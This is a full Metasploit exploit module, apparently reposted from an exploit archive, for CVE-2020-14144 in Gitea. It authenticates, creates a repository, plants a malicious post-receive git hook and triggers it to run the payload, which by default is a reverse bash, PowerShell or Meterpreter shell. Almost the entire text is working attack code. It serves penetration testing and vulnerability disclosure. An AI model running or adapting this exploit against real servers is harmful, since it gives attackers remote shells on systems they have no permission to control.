Share
## https://sploitus.com/exploit?id=PACKETSTORM:162122
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gitea Git Hooks Remote Code Execution',  
'Description' => %q{  
This module leverages an insecure setting to get remote code  
execution on the target OS in the context of the user running Gitea.  
This is possible when the current user is allowed to create `git  
hooks`, which is the default for administrative users. For  
non-administrative users, the permission needs to be specifically  
granted by an administrator.  
  
To achieve code execution, the module authenticates to the Gitea web  
interface, creates a temporary repository, sets a `post-receive` git  
hook with the payload and creates a dummy file in the repository.  
This last action will trigger the git hook and execute the payload.  
Everything is done through the web interface.  
  
It has been mitigated in version 1.13.0 by setting the Gitea  
`DISABLE_GIT_HOOKS` configuration setting to `true` by default. This  
disables this feature and prevents all users (including admin) from  
creating custom git hooks.  
  
This module has been tested successfully against docker versions 1.12.5,  
1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on  
version 1.12.6 on Windows.  
},  
'Author' => [  
'Podalirius', # Original PoC  
'Christophe De La Fuente' # MSF Module  
],  
'References' => [  
['CVE', '2020-14144'],  
['EDB', '49571'],  
['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'],  
['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']  
],  
'DisclosureDate' => '2020-10-07',  
'License' => MSF_LICENSE,  
'Platform' => %w[unix linux win],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with']),  
OptString.new('PASSWORD', [true, 'Password to use']),  
])  
  
@need_cleanup = false  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Powered by Gitea Version: 1.12.5  
unless (match = res.body.match(/Powered by Gitea Version: (?<version>[\d.]+)/))  
return CheckCode::Unsupported('Target does not appear to be running Gitea.')  
end  
  
if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0')  
print_warning(  
'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\  
'by default. This prevents all users (including admin) from creating '\  
'custom git hooks. This exploit might not work if this option is still '\  
'set to the default value.'  
)  
end  
CheckCode::Appears("Gitea version is #{match[:version]}")  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")  
gitea_login  
print_good('Logged in')  
  
@repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')  
print_status("Create repository \"#{@repo_name}\"")  
gitea_create_repo  
@need_cleanup = true  
print_good('Repository created')  
  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded)  
when :linux_dropper, :win_dropper  
execute_cmdstager(background: true, delay: 1)  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
print_status('Setup post-receive hook with command')  
gitea_post_receive_hook(cmd)  
print_good('Git hook setup')  
  
print_status('Create a dummy file on the repo to trigger the payload')  
last_chunk = cmd_list ? cmd == cmd_list.last : true  
gitea_create_file(last_chunk: last_chunk)  
print_good("File created#{', shell incoming...' if last_chunk}")  
end  
  
def http_post_request(uri, opts = {})  
csrf = opts.delete(:csrf) || get_csrf(uri)  
timeout = opts.delete(:timeout) || 20  
  
post_data = { _csrf: csrf }.merge(opts)  
request_hash = {  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], uri),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => post_data  
}  
  
send_request_cgi(request_hash, timeout)  
end  
  
def get_csrf(uri)  
vprint_status('Get "csrf" value')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(uri)  
)  
unless res  
fail_with(Failure::Unreachable, 'Unable to get the CSRF token')  
end  
  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
csrf  
end  
  
def extract_value(res, attr)  
# <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">  
# <input type="hidden" id="uid" name="uid" value="2" required>  
# <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">  
unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))  
return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")  
end  
  
return match[:value]  
end  
  
def gitea_login  
res = http_post_request(  
'/user/login',  
user_name: datastore['USERNAME'],  
password: datastore['PASSWORD']  
)  
unless res  
fail_with(Failure::Unreachable, 'Unable to reach the login page')  
end  
  
unless res.code == 302  
fail_with(Failure::NoAccess, 'Login failed')  
end  
  
nil  
end  
  
def gitea_create_repo  
uri = normalize_uri(datastore['TARGETURI'], '/repo/create')  
  
res = send_request_cgi('method' => 'GET', 'uri' => uri)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
vprint_status('Get "csrf" and "uid" values')  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
uid = extract_value(res, 'uid')  
vprint_good("uid=#{uid}")  
  
res = http_post_request(  
uri,  
uid: uid,  
repo_name: @repo_name,  
private: 'on',  
description: '',  
repo_template: '',  
issue_labels: '',  
gitignores: '',  
license: '',  
readme: 'Default',  
auto_init: 'on',  
default_branch: 'master',  
csrf: csrf  
)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
unless res.code == 302  
fail_with(Failure::UnexpectedReply, 'Create repository failure')  
end  
  
nil  
end  
  
def gitea_post_receive_hook(cmd)  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')  
shell = <<~SHELL  
#!/bin/bash  
#{cmd}&  
exit 0  
SHELL  
  
res = http_post_request(uri, content: shell)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
unless res.code == 302  
msg = 'Post-receive hook creation failure'  
if res.code == 404  
msg << ' (user is probably not allowed to create Git Hooks)'  
end  
fail_with(Failure::UnexpectedReply, msg)  
end  
  
nil  
end  
  
def gitea_create_file(last_chunk: false)  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')  
filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"  
  
res = send_request_cgi('method' => 'GET', 'uri' => uri)  
unless res  
fail_with(Failure::Unreachable, "Unable to reach #{uri}")  
end  
  
vprint_status('Get "csrf" and "last_commit" values')  
csrf = extract_value(res, '_csrf')  
vprint_good("csrf=#{csrf}")  
last_commit = extract_value(res, 'last_commit')  
vprint_good("last_commit=#{last_commit}")  
  
http_post_request(  
uri,  
last_commit: last_commit,  
tree_path: filename,  
content: Rex::Text.rand_text_alpha(1..20),  
commit_summary: '',  
commit_message: '',  
commit_choice: 'direct',  
csrf: csrf,  
timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting  
)  
vprint_status("#{filename} created")  
  
nil  
end  
  
# Hook the HTTP client method to add specific cookie management logic  
def send_request_cgi(opts, timeout = 20)  
res = super  
  
return unless res  
  
# HTTP client does not handle cookies with the same name correctly. It adds  
# them instead of substituing the old value with the new one.  
unless res.get_cookies.empty?  
cookie_jar_hash = cookie_jar_to_hash  
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))  
cookie_jar_hash.merge!(cookies_from_response)  
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|  
set << "#{cookie[0]}=#{cookie[1]}"  
end  
cookie_jar.clear  
cookie_jar.merge(cookie_jar_updated)  
end  
  
res  
end  
  
def cookie_jar_to_hash(jar = cookie_jar)  
jar.each_with_object({}) do |cookie, cookie_hash|  
name, value = cookie.split('=')  
cookie_hash[name] = value  
end  
end  
  
def cleanup  
super  
return unless @need_cleanup  
  
print_status('Cleaning up')  
uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')  
res = http_post_request(uri, action: 'delete', repo_name: @repo_name)  
  
unless res  
fail_with(Failure::Unreachable, 'Unable to reach the settings page')  
end  
  
unless res.code == 302  
fail_with(Failure::UnexpectedReply, 'Delete repository failure')  
end  
  
print_status("Repository #{@repo_name} deleted.")  
  
nil  
end  
end